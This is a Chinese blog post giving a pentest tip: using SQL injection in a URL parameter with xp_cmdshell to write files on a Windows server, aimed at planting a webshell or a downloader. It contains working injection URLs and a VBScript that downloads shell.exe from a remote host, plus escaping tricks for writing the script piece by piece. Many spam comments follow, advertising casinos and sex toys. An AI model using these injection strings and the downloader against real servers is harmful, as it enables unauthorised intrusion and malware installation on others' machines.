小技巧——在url中传参写文件

实战中，会遇到只能用url传递参数拿shell的情况。比如在xp_cmeshell下写入asp/aspx webshell，又或者写入vbs脚本来下载exe使主机上线。

写文件地址：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo data >> C:\out.txt';--

这里用追加的方式写文件，data是我们要写入的数据。

下载远程文件的vbs代码

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
wscript.sleep 3000 
aGet.Write(post.responseBody)
aGet.SaveToFile "shell.exe",2

在这个脚本中，有这些特殊符号：/=(“),.

经过测试，能够正常写入的有：

/
.
,
()
成对的"
xx=字符开头字符串

对于单个的双引号，需要进行转义。Windows cmd下的转义字符是^。写入单引号需要这样转换一下：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo ^" >> C:\out.txt';--

对于写入aGet.Mode = 3这样的数据，需要分两次写入，而且不能换行：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="aGet.Mod" >> C:\out.txt';--
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="e = 3" >> C:\out.txt';--

这样两段字符串就写在了一行。

Tags:

You may also like...

26 Responses

  1. Best laptop for hacking说道：
    2022年5月29日 下午2:54

    Very good post. Fantastic.

    回复
  2. quranicwazifa.com说道：
    2022年5月29日 下午4:58

    Very good blog article.Really looking forward to read more. Much obliged.

    回复
  3. site说道：
    2022年6月1日 上午4:31

    A round of applause for your blog. Awesome.

    回复
  4. hoa don dien tu说道：
    2022年6月1日 下午12:40

    Hoktjb – 500 word research paper Httnzc qwffcr

    回复
  5. best clit sucking vibrator说道：
    2022年6月1日 下午10:16

    Thank you for your article post. Great.

    回复
  6. InstGrow说道：
    2022年6月2日 上午8:23

    us essay writing services persuasive essay writing help

    回复
  7. เครดิตฟรีไม่ต้องฝาก说道：
    2022年6月3日 上午6:39

    wow, awesome post.Thanks Again. Cool.

    回复
  8. ufa789说道：
    2022年6月3日 下午9:56

    Say, you got a nice article.Really looking forward to read more. Much obliged.

    回复
  9. toronto penthouses for sale说道：
    2022年6月4日 下午3:36

    I loved your article post.Really looking forward to read more. Fantastic.

    回复
  10. 4movierulz说道：
    2022年6月5日 下午5:48

    I loved your blog post.Thanks Again. Really Great.

    回复
  11. agen situs judi bandar bola dan slot online terpercaya liga365说道：
    2022年6月9日 下午4:28

    Wow, great article. Cool.

    回复
  12. sex toys说道：
    2022年6月10日 下午11:40

    A big thank you for your blog post.Really looking forward to read more. Great.

    回复
  13. hoarding website说道：
    2022年6月11日 上午12:26

    Very good post.Really looking forward to read more. Will read on…

    回复
  14. Cong ty luat uy tin ATS说道：
    2022年6月12日 上午6:07

    เดี๋ยวนี้ผู้คนต่างมองหาหนทางการผลิตรายได้ที่ลงทุนน้อย UFABET คาสิโนออนไลน์ได้เก็บทุกเกมออนไลน์ที่ท่านพอใจไม่ว่าจะเป็นบาคาร่า พนันบอล สล็อต ยิงปลา รวมถึงเกมใหม่ๆที่พึ่งพิงเปิดตัวเข้าสู่วงการเกมออนไลน์ UFABET จ่ายจริง จ่ายไว ไม่มีขั้นต่ะ

    回复
  15. intense driving说道：
    2022年6月12日 下午7:57

    I really like and appreciate your article.Really looking forward to read more. Keep writing.

    回复
  16. nikon d5600 price in india flipkart说道：
    2022年6月15日 上午2:45

    Awesome blog post.Really thank you! Awesome.

    回复
  17. Überprüfen说道：
    2022年6月15日 上午3:02

    Jemand im Wesentlichen unterstützen, um ernst Artikel ich würde zu sagen . Dies das allererste Mal, dass ich Ihre Website-Seite besucht habe und so weit? Ich überrascht mit der Forschung, die Sie gemacht haben, um dieses tatsächlich machen posten erstaunlich. Großartig Job!

    回复
  18. diy home projects说道：
    2022年6月15日 上午4:20

    A round of applause for your blog post.Thanks Again.

    回复
  19. stationery shop说道：
    2022年6月15日 下午7:02

    Appreciate you sharing, great article.Really thank you! Really Great.

    回复
  20. Send Money To Nigeria说道：
    2022年6月15日 下午9:30

    Very informative post.Really looking forward to read more. Fantastic.

    回复
  21. BLACKHORN 209 POWDER说道：
    2022年6月16日 下午11:33

    Very good article.Really thank you! Will read on…

    回复
  22. Scrum Master certification说道：
    2022年6月18日 上午5:48

    สล็อตออนไลน์เกมคาสิโนยอดนิยมชั่วกัลปวสาน เล่นง่าย แจ็คพอตแตกไวจำเป็นต้องที่ UFABET จ่ายจริง จ่ายเต็ม มีเกมให้เลือกมากมายทั้งพนันบอล บาคาร่า ยิงปลา มาเว็บไซต์นี้เว็บเดียวบอกเลยจ้าขอรับว่าโคตรคุ้ม สร้างรายได้กล้วยๆจบที่เว็บไซต์ UFABET ได้เลยคะครับผม

    回复
  23. superslot สล็อตแตกง่าย说道：
    2022年6月24日 上午6:05

    Appreciate you sharing, great post.Really looking forward to read more.

    回复
  24. rabbit vibrator说道：
    2022年6月28日 上午5:30

    Awesome blog post.Really looking forward to read more. Much obliged.

    回复
  25. tuff tiles说道：
    2022年6月29日 下午4:21

    Very good blog.Much thanks again. Really Great.

    回复
  1. 2recovery
    2022年6月19日

    2conjuncture

发表评论

您的电子邮箱地址不会被公开。